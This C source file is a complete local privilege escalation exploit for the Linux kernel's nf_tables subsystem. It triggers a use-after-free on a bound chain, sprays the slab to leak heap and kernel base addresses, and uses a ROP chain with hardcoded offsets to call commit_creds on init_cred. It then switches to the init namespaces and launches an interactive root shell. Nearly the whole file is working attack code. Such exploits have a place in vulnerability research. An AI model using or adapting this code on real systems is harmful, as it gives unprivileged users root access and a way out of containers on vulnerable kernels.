#include <sched.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <sys/msg.h>

#define INFO(fmt, ...) fprintf(stderr, "[*] " fmt "\n", ##__VA_ARGS__)
#define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__)
#define ERROR(msg) fprintf(stderr, "[-] %s:%d: %s: %s\n", __func__, __LINE__, msg, strerror(errno))

#define SPRAY_BATCH_SIZE 64
#define SPRAY_BATCHES 16

#define NFT_NOTRACK_OPS 0x1b26ec0 // nft_notrack_ops
#define INIT_NSPROXY 0x26765c0
#define COMMIT_CREDS 0x1bed10
#define FIND_TASK_BY_VPID 0x1b5600
#define SWITCH_TASK_NAMESPACES 0x1bd180
#define KPTI_TRAMPOLINE 0x1201090 + 0x36 // swapgs_restore_regs_and_return_to_usermode + offset
#define INIT_CRED 0x2676800

#define PUSH_RSI_JMP_QWORD_PTR_RSI_F 0xd8dac5 // push rsi ; jmp qword ptr [rsi + 0xf]
#define POP_RSP_R13_R14_R15_RET 0x8888d // pop rsp ; pop r13 ; pop r14 ; pop r15 ; jmp 0xffffffff82404b80 -> ret
#define POP_RDI_RET 0x88893 // pop rdi ; jmp 0xffffffff82404b80 -> ret
#define POP_RSI_RET 0xd88a3 // pop rsi ; jmp 0xffffffff82404b80 -> ret
#define POP_RDX_RET 0x47e72 // pop rdx ; jmp 0xffffffff82404b80 -> ret
#define MOV_RDI_RAX_CMP_RDI_RDX_JNE_XOR_EAX_EAX_RET 0x10bc35e // mov rdi, rax ; cmp rdi, rdx ; jne 0xffffffff820bc355 ; xor eax, eax ; jmp 0xffffffff82404b80 -> ret

struct list_head {
    struct list_head *next, *prev;
};

struct rhash_head {
	struct rhash_head 	*next;
};

struct rhlist_head {
	struct rhash_head		rhead;
	struct rhlist_head 	*next;
};

struct msg_msgseg {
    struct msg_msgseg *next;
};

struct nft_expr {
	struct nft_expr_ops	*ops;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(uint64_t))));
};

struct nft_rule {
	struct list_head		list;
	uint64_t				handle:42,
					genmask:2,
					dlen:12,
					udata:1;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(struct nft_expr))));
};

struct nft_rule_dp {
	uint64_t				is_last:1,
					dlen:12,
					handle:42;	/* for tracing */
	unsigned char			data[]
		__attribute__((aligned(__alignof__(struct nft_expr))));
};

struct nft_rule_blob {
	unsigned long			size;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(struct nft_rule_dp))));
};

struct nft_chain {
	struct nft_rule_blob		*blob_gen_0;
	struct nft_rule_blob		*blob_gen_1;
	struct list_head		rules;
	struct list_head		list;
	struct rhlist_head		rhlhead;
	struct nft_table		*table;
	uint64_t				handle;
	uint32_t				use;
	uint8_t				flags:5,
					bound:1,
					genmask:2;
	char				*name;
	uint16_t				udlen;
	uint8_t				*udata;

	/* Only used during control plane commit phase: */
	struct nft_rule_blob		*blob_next;
};

struct nft_userdata {
	uint8_t			len;
	unsigned char		data[];
};

typedef struct mnl_socket *sock;
typedef struct mnl_nlmsg_batch *batch;
typedef struct nlmsghdr *nlmsghdr;
typedef struct nftnl_table *table;
typedef struct nftnl_chain *chain;
typedef struct nftnl_rule *rule;
typedef struct nftnl_expr *expr;

static sock nlsock;
static const uint16_t family = NFPROTO_IPV4;
static uint32_t seq = 1, rseq = 1, table_counter;
static char current_table_name[16], free_chain_name[160]; // to make the freed chain name fall in kmalloc-cg-192
static uint64_t heap, vmlinux, rule_handle;
static uint64_t user_cs, user_ss, user_rflags, user_sp;

static void save_state() {
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
}

void after_privesc_as_root() {
    INFO("Return to userland");

    setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
    setns(open("/proc/1/ns/pid", O_RDONLY), 0);
    setns(open("/proc/1/ns/net", O_RDONLY), 0);

    char *args[] = {"/bin/bash", "-i", NULL};
    execve(args[0], args, NULL);
}

static table make_table(const char *name, const void *udata, uint32_t udlen) {
    table t = nftnl_table_alloc();
    if (t == NULL)
        return NULL;

    nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, family);
    nftnl_table_set_str(t, NFTNL_TABLE_NAME, name);

    if (udata != NULL && udlen > 0)
        nftnl_table_set_data(t, NFTNL_TABLE_USERDATA, udata, udlen);

    return t;
}

static chain make_chain(const char *table, const char *name, uint32_t flags) {
    chain c = nftnl_chain_alloc();
    if (c == NULL)
        return NULL;

    nftnl_chain_set_str(c, NFTNL_CHAIN_TABLE, table);
    nftnl_chain_set_str(c, NFTNL_CHAIN_NAME, name);
    nftnl_chain_set_u32(c, NFTNL_CHAIN_FLAGS, flags);

    return c;
}

static rule make_rule(const char *table, const char *chain, expr *exprs, size_t num_exprs, const void *udata, uint32_t udlen, uint64_t handle) {
    rule r = nftnl_rule_alloc();
    if (r == NULL)
        return NULL;

    nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);
    nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);
    nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);

    for (int i = 0; i < num_exprs; ++i)
        nftnl_rule_add_expr(r, exprs[i]);

    if (udlen > 0)
        nftnl_rule_set_data(r, NFTNL_RULE_USERDATA, udata, udlen);

    if (handle > 0)
        nftnl_rule_set_u64(r, NFTNL_RULE_HANDLE, handle);

    return r;
}

static expr make_immediate_jump_expr(const char *target_chain) {
    expr e = nftnl_expr_alloc("immediate");
    if (e == NULL)
        return NULL;

    nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
    nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, NFT_JUMP);
    nftnl_expr_set_str(e, NFTNL_EXPR_IMM_CHAIN, target_chain);

    return e;
}

static expr make_notrack_expr() {
    return nftnl_expr_alloc("notrack");
}

static batch batch_init(size_t size) {
    void *buf = malloc(size);
    batch b = mnl_nlmsg_batch_start(buf, size);
    nftnl_batch_begin(mnl_nlmsg_batch_current(b), seq++);
    mnl_nlmsg_batch_next(b);
    rseq = seq;
    return b;
}

static void batch_end(batch b) {
    nftnl_batch_end(mnl_nlmsg_batch_current(b), seq);
    mnl_nlmsg_batch_next(b);
}

static ssize_t batch_send(batch b, sock s) {
    return mnl_socket_sendto(s, mnl_nlmsg_batch_head(b), mnl_nlmsg_batch_size(b));
}

static void batch_free(batch b) {
    free(mnl_nlmsg_batch_head(b));
    mnl_nlmsg_batch_stop(b);
}

static void batch_new_table(batch b, table t) {
    nlmsghdr hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_NEWTABLE, family, NLM_F_ACK | NLM_F_CREATE | NLM_F_APPEND, seq++);
    nftnl_table_nlmsg_build_payload(hdr, t);
    mnl_nlmsg_batch_next(b);
}

static void batch_new_chain(batch b, chain c) {
    nlmsghdr hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_NEWCHAIN, family, NLM_F_ACK | NLM_F_CREATE | NLM_F_APPEND, seq++);
    nftnl_chain_nlmsg_build_payload(hdr, c);
    mnl_nlmsg_batch_next(b);
}

static void batch_del_chain(batch b, chain c) {
    nlmsghdr hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_DELCHAIN, family, NLM_F_ACK, seq++);
    nftnl_chain_nlmsg_build_payload(hdr, c);
    mnl_nlmsg_batch_next(b);
}

static void batch_new_rule(batch b, rule r) {
    nlmsghdr hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_NEWRULE, family, NLM_F_ACK | NLM_F_CREATE | NLM_F_APPEND, seq++);
    nftnl_rule_nlmsg_build_payload(hdr, r);
    mnl_nlmsg_batch_next(b);
}

static void batch_del_rule(batch b, rule r) {
    nlmsghdr hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_DELRULE, family, NLM_F_ACK, seq++);
    nftnl_rule_nlmsg_build_payload(hdr, r);
    mnl_nlmsg_batch_next(b);
}

static nlmsghdr dump_rule(rule r, char *buf) {
    nlmsghdr hdr = nftnl_nlmsg_build_hdr(buf, NFT_MSG_GETRULE, family, NLM_F_ACK, seq++);
    nftnl_rule_nlmsg_build_payload(hdr, r);
    return hdr;
}

static int run_callbacks(sock s, mnl_cb_t cb, void *data) {
    char buf[MNL_SOCKET_BUFFER_SIZE];
    int ret = 0;
    while (rseq < seq) {
        ret = mnl_socket_recvfrom(s, buf, sizeof(buf));
        if (ret <= 0)
            break;
        ret = mnl_cb_run(buf, ret, rseq, mnl_socket_get_portid(s), cb, data);
        if (ret < 0)
            break;
        rseq += ret == 0;
    }
    return ret;
}

static int setup() {
    // In order to use nf_tables, we need CAP_NET_ADMIN
    INFO("Setting up user namespace");

    if (unshare(CLONE_NEWUSER | CLONE_NEWNET)) {
        ERROR("unshare(CLONE_NEWUSER | CLONE_NEWNET)");
        return -1;
    }

    // Pin process to a single CPU to avoid nf_tables allocations to spill over different slabs
    INFO("Pinning process to CPU #0");

    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(0, &set);
    if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) {
        ERROR("sched_setaffinity");
        return -1;
    }

    INFO("Creating netfilter netlink socket");
    if ((nlsock = mnl_socket_open(NETLINK_NETFILTER)) == NULL) {
        ERROR("mnl_socket_open(NETLINK_NETFILTER)");
        return -1;
    }

    return 0;
}

static int trigger_uaf() {
    INFO("Triggering UAF");

    sprintf(current_table_name, "%d", table_counter++);
    table t = make_table(current_table_name, NULL, 0);
    chain c_free = make_chain(current_table_name, free_chain_name, 0);
    chain c_spray = make_chain(current_table_name, "spray", 0);
    chain c_primitive = make_chain(current_table_name, "primitive", 0);
    expr e_primitive = make_immediate_jump_expr(free_chain_name); // c_free->use = 1
    rule r_primitive = make_rule(current_table_name, "primitive", &e_primitive, 1, NULL, 0, 0);

    batch b = batch_init(MNL_SOCKET_BUFFER_SIZE * 2);
    batch_new_table(b, t);
    batch_new_chain(b, c_free);
    batch_new_chain(b, c_spray);
    batch_new_chain(b, c_primitive);
    batch_new_rule(b, r_primitive);
    batch_end(b);
    if (batch_send(b, nlsock) == -1) {
        ERROR("batch_send");
        return -1;
    }
    batch_free(b);
    if (run_callbacks(nlsock, NULL, NULL) < 0) {
        ERROR("run_callbacks");
        return -1;
    }

    chain c_effect = make_chain(current_table_name, "effect", NFT_CHAIN_BINDING);
    expr e_effect = make_immediate_jump_expr(free_chain_name); // c_free->use = 2
    rule r_effect = make_rule(current_table_name, "effect", &e_effect, 1, NULL, 0, 0);
    chain c_attack = make_chain(current_table_name, "attack", 0);
    expr e_attack[2];
    e_attack[0] = make_immediate_jump_expr("effect");
    // referencing an invalid chain here rolls back the transaction.
    // in phase NFT_TRANS_PREPARE_ERROR, e_effect is deactivated, c_free->use = 1
    // then in phase NFT_TRANS_ABORT, e_effect is deactivated again, c_free->use = 0
    e_attack[1] = make_immediate_jump_expr("some_invalid_chain");
    rule r_attack = make_rule(current_table_name, "attack", e_attack, 2, NULL, 0, 0);

    b = batch_init(MNL_SOCKET_BUFFER_SIZE * 2);
    batch_new_chain(b, c_effect);
    batch_new_rule(b, r_effect);
    batch_new_chain(b, c_attack);
    batch_new_rule(b, r_attack);
    batch_end(b);
    if (batch_send(b, nlsock) == -1) {
        ERROR("batch_send");
        return -1;
    }
    batch_free(b);
    run_callbacks(nlsock, NULL, NULL);

    b = batch_init(MNL_SOCKET_BUFFER_SIZE * 2);
    batch_del_chain(b, c_free); // we can delete c_free now because c_free->use = 0
    batch_end(b);
    if (batch_send(b, nlsock) == -1) {
        ERROR("batch_send");
        return -1;
    }
    batch_free(b);
    if (run_callbacks(nlsock, NULL, NULL) < 0) {
        ERROR("run_callbacks");
        return -1;
    }

    INFO("Sleeping to wait for the work queue to actually free the chain");
    sleep(1);

    return 0;
}

static int dump_expr_leak_heap(expr e, void *_unused) {
    const char *data;

    data = nftnl_expr_get_str(e, NFTNL_EXPR_IMM_CHAIN);
    if (strlen(data) < 17) // list + handle
        return MNL_CB_OK;

    struct nft_rule *r = (struct nft_rule *)data;
    heap = (uint64_t)r->list.next;
    rule_handle = (r->handle & 0xffff) + 1; // we got the address of the next rule, handle should be +1
    if ((heap & 0xff) == 0x90 || (heap & 0xff) == 0x10) { // we got leak to spray chain (rules list at offset 0x10 of nft_chain)
        heap = (uint64_t)r->list.prev; // get address of a rule instead
        rule_handle = (r->handle & 0xffff) - 1;  // we got the address of the previous rule, handle should be -1
    }
    INFO("heap = 0x%lx, rule_handle = %lu", heap, rule_handle);

    return MNL_CB_OK;
}

static int dump_expr_leak_vmlinux(expr e, void *dat) {
    const char *data;

    data = nftnl_expr_get_str(e, NFTNL_EXPR_IMM_CHAIN);
    if (strlen(data) < 8)
        return MNL_CB_OK;

    vmlinux = *(uint64_t *)data;
    if (vmlinux >= 0xffffffff00000000) {
        vmlinux -= NFT_NOTRACK_OPS;
    }
    INFO("vmlinux = 0x%lx", vmlinux);

    return MNL_CB_OK;
}

static int dump_exprs(const struct nlmsghdr *nlh, void *data) {
    rule r;

    r = nftnl_rule_alloc();
    nftnl_rule_nlmsg_parse(nlh, r);

    nftnl_expr_foreach(r, data, NULL);

    nftnl_rule_free(r);

    return MNL_CB_OK;
}

static int leak_heap() {
    INFO("Trying to leak kernel heap");

    // Reclaim the freed nft_chain with nft_rule objects
    char data[191 - sizeof(struct nft_expr) - sizeof(struct nft_rule)] = {0}; // to make the rule fall in kmalloc-cg-192
    expr e = make_notrack_expr(); // for leaking vmlinux later
    rule r = make_rule(current_table_name, "spray", &e, 1, data, sizeof(data), 0);

    for (int z = 0; z < SPRAY_BATCHES; ++z) {
        batch b = batch_init(1048576); // 1M buffer should be enough
        for (int i = 0; i < SPRAY_BATCH_SIZE; ++i) {
            batch_new_rule(b, r);
        }
        batch_end(b);
        if (batch_send(b, nlsock) == -1) {
            ERROR("batch_send");
            return -1;
        }
        batch_free(b);
        if (run_callbacks(nlsock, NULL, NULL) < 0) {
            ERROR("run_callbacks");
            return -1;
        }
    }

    char buf[MNL_SOCKET_BUFFER_SIZE];
    rule r_primitive = make_rule(current_table_name, "primitive", NULL, 0, NULL, 0, 4); // the primitive rule has handle = 4
    rseq = seq;
    nlmsghdr hdr = dump_rule(r_primitive, buf);
    if (mnl_socket_sendto(nlsock, buf, hdr->nlmsg_len) < 0) {
        ERROR("mnl_socket_sendto");
        return -1;
    }
    if (run_callbacks(nlsock, dump_exprs, dump_expr_leak_heap) < 0) {
        ERROR("run_callbacks");
        return -1;
    }

    return 0;
}

static int leak_vmlinux() {
    INFO("Trying to leak kernel base");
    static int table_spray_counter = 0;

    char data[128] = {0};
    struct nft_chain *fake_chain = (struct nft_chain *)data;
    // set rule list and chain flag for later stage
    // because we trigger RIP control by deleting the primitive rule,
    // the immediate expression deactivation will only call deactivate()
    // on the rules under this chain if chain flags has NFT_CHAIN_BINDING.
    fake_chain->rules.next = fake_chain->rules.prev = (struct list_head *)heap;
    fake_chain->flags = NFT_CHAIN_BINDING;
    // exprs are flattened after rule metadata, then comes userdata
    // we prepared a notrack expr before, now let's leak its ops
    fake_chain->name = (char *)(heap + sizeof(struct nft_rule));

    for (int z = 0; z < SPRAY_BATCHES; ++z) {
        batch b = batch_init(1048576); // 1M buffer should be enough
        for (int i = 0; i < SPRAY_BATCH_SIZE; ++i) {
            char table_name[32];
            sprintf(table_name, "tskb%d", table_spray_counter++);
            table t = make_table(table_name, data, sizeof(data));
            batch_new_table(b, t);
            nftnl_table_free(t);
        }
        batch_end(b);
        if (batch_send(b, nlsock) == -1) {
            ERROR("batch_send");
            return -1;
        }
        batch_free(b);
        if (run_callbacks(nlsock, NULL, NULL) < 0) {
            ERROR("run_callbacks");
            return -1;
        }
    }

    char buf[MNL_SOCKET_BUFFER_SIZE];
    rule r_primitive = make_rule(current_table_name, "primitive", NULL, 0, NULL, 0, 4); // the primitive rule has handle = 4
    rseq = seq;
    nlmsghdr hdr = dump_rule(r_primitive, buf);
    if (mnl_socket_sendto(nlsock, buf, hdr->nlmsg_len) < 0) {
        ERROR("mnl_socket_sendto");
        return -1;
    }
    if (run_callbacks(nlsock, dump_exprs, dump_expr_leak_vmlinux) < 0) {
        ERROR("run_callbacks");
        return -1;
    }

    return 0;
}

static int spray_krop() {
    INFO("Spraying KROP");
    static int table_spray_counter = 0;

    rule r_to_delete = make_rule(current_table_name, "spray", NULL, 0, NULL, 0, rule_handle);

    batch b = batch_init(MNL_SOCKET_BUFFER_SIZE * 2);
    batch_del_rule(b, r_to_delete);
    batch_end(b);
    if (batch_send(b, nlsock) == -1) {
        ERROR("batch_send");
        return -1;
    }
    batch_free(b);
    if (run_callbacks(nlsock, NULL, NULL) < 0) {
        ERROR("run_callbacks");
        return -1;
    }

    INFO("Sleeping to wait for the work queue to actually free the rule");
    sleep(1);

    save_state();

    char data[192] = {0};
    struct nft_rule *fake_rule = (struct nft_rule *)data;
    fake_rule->dlen = 1; // pass the check
    struct nft_expr *fake_expr = (struct nft_expr *)(data + sizeof(struct nft_rule));
    // offset 0x88 of fake rule <=> expr->ops->deactivate (offset 0x28 of expr->ops)
    #define DEACTIVATE_OFFSET 0x28
    #define JOP_OFFSET_FROM_BEGINNING_OF_FAKE_RULE 0x88
    fake_expr->ops = (struct nft_expr_ops *)(heap + JOP_OFFSET_FROM_BEGINNING_OF_FAKE_RULE - DEACTIVATE_OFFSET);
    // the jop gadget jumps to [rsi + 0xf] so we put the stack pivot gadget there
    *(uint64_t *)((char *)fake_expr + 0xf) = vmlinux + POP_RSP_R13_R14_R15_RET;

    uint64_t *rop = (uint64_t *)(data + sizeof(struct nft_rule) + sizeof(struct nft_expr));

    // pass through the stack pivot gadget
    rop++;
    rop++;

    // commit_creds(&init_cred)
    *rop++ = vmlinux + POP_RDI_RET;
    *rop++ = vmlinux + INIT_CRED;
    *rop++ = vmlinux + COMMIT_CREDS;

    // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
    *rop++ = vmlinux + POP_RDI_RET;
    *rop++ = 1;
    *rop++ = vmlinux + FIND_TASK_BY_VPID;
    *rop++ = vmlinux + MOV_RDI_RAX_CMP_RDI_RDX_JNE_XOR_EAX_EAX_RET;
    *rop++ = vmlinux + POP_RSI_RET;
    *rop++ = vmlinux + INIT_NSPROXY;
    *rop++ = vmlinux + SWITCH_TASK_NAMESPACES;

    // return to userspace
    *rop++ = vmlinux + KPTI_TRAMPOLINE;
    *rop++ = vmlinux + PUSH_RSI_JMP_QWORD_PTR_RSI_F; // jop gadget, put here because this space is unused. rsi is pointing to fake_expr
    rop++;
    *rop++ = (uint64_t)after_privesc_as_root;
    *rop++ = user_cs;
    *rop++ = user_rflags;
    *rop++ = user_sp;
    *rop++ = user_ss;

    for (int z = 0; z < SPRAY_BATCHES; ++z) {
        batch b = batch_init(1048576); // 1M buffer should be enough

        for (int i = 0; i < SPRAY_BATCH_SIZE; ++i) {
            char table_name[32];
            sprintf(table_name, "tsrp%d", table_spray_counter++);
            table t = make_table(table_name, data, sizeof(data));
            batch_new_table(b, t);
            nftnl_table_free(t);
        }

        batch_end(b);
        if (batch_send(b, nlsock) == -1) {
            ERROR("batch_send");
            return -1;
        }
        batch_free(b);
        if (run_callbacks(nlsock, NULL, NULL) < 0) {
            ERROR("run_callbacks");
            return -1;
        }
    }

    return 0;
}

static void escalate() {
    INFO("Escalating privileges");

    // deleting the primitive rule will call deactivate on the bound chain
    // because we set the flag of the reclaimed fake chain to `NFT_CHAIN_BINDING`,
    // all expressions under all rules of that chain will have its deactivate() routine.
    rule r = make_rule(current_table_name, "primitive", NULL, 0, NULL, 0, 4); // the primitive rule has handle = 4
    batch b = batch_init(MNL_SOCKET_BUFFER_SIZE * 2);
    batch_del_rule(b, r);
    batch_end(b);
    if (batch_send(b, nlsock) == -1) {
        ERROR("batch_send");
        return;
    }
    batch_free(b);
}

int main() {
    if (setup() == -1)
        return -1;

    memset(free_chain_name, 'A', sizeof(free_chain_name) - 1);
    free_chain_name[sizeof(free_chain_name) - 1] = '\0';

    while (heap < 0xffff000000000000) {
        if (trigger_uaf() == -1)
            return -1;

        if (leak_heap() == -1)
            return -1;
    }

    while (vmlinux < 0xffffffff00000000) {
        if (leak_vmlinux() == -1)
            return -1;
    }

    if (spray_krop() == -1)
        return -1;

    escalate();
}
